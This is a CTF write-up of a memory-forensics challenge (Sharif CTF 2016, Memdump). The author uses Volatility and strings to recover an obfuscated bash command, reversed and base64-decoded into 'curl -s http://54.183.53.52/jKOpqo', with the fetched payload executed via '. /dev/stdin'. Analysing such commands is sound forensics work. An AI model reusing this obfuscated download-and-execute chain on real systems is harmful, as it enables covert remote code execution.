Sharif CTF 2016 Memdump [Forensics 400]

Question :

File : memdump.xz

Hints : Search for a complete string !! :-p

Solution : 

Well this was much interesting for me as i had gone through same kind of question in hackim16 but couldnt solve due to volatility profile issues.

doing a strings on file with grepping boot reveals the kernel used in the memory dump. Ubuntu 14.04 works good for it.

The blog i followed for volatility purpose :

 http://www.evild3ad.com/3571/creating-volatility-linux-profiles-debianubuntu/

I will leave the task of building up the profile and getting it work to you guys..

I got the ubuntu 14.04 x64 profile from here :

https://github.com/volatilityfoundation/profiles/tree/master/Linux/Ubuntu/x64

Assuming everything is setup . Lets get started ..

First lets dump the process:

so as descriptive from the image the command and process we are interested is very clear.

Now , lets dump bash.

Oopss.. thats a lot to investigate .. 

looking at the files..

Interesting bash history dump file.

The only thing you need to have is "PATIENCE" . Trust me on that while you read from strings command.

As the hint from admin said was look for a "complete string" when i told them what was interesting thing i found from openssl commands used but half strings displayed, when i did a strings command on task.1136.0x141c000.vma :

something like this : 

jL1IzLqt0TwF3b | rev | openssl enc -a -d | rev | . /dev/stdin > /tmp/.KvCf56'

so i did a grep on openssl with the strings command and look what i found ; 

commands :

input : echo "=owY1JHbg0ycggGd0BnOv8SN04SM4MjL1MjL1IzLqt0TwF3b" |  rev

output : b3FwT0tqLzI1LjM1LjM4MS40NS8vOnB0dGggcy0gbHJ1Ywo=

input : base64decode ("b3FwT0tqLzI1LjM1LjM4MS40NS8vOnB0dGggcy0gbHJ1Ywo=") , use the tool of choice.

output : oqpOKj/25.35.381.45//:ptth s- lruc

input : echo "oqpOKj/25.35.381.45//:ptth s- lruc" | rev

output : curl -s http://54.183.53.52/jKOpqo

download the file from the URL : http://54.183.53.52/jKOpqo

Lets unpack it .. Am not going through this.. Just follow this blog or google and you have enough resources explaining this.

https://ctf-team.vulnhub.com/su-ctf-2014-reverseme/

Solving suctf2016 using suctf2014 :-D Lol..

Success but no flag :-(

Any help with strings ?? 

Unzipping the unpacked exe gives you a flag image in .rsrc -> FLAG -> IMG

Rename and get the flag !! Woah !! Sadly i got the unpacking after the show :-(

Thank you Sharif for this interesting challenge :-)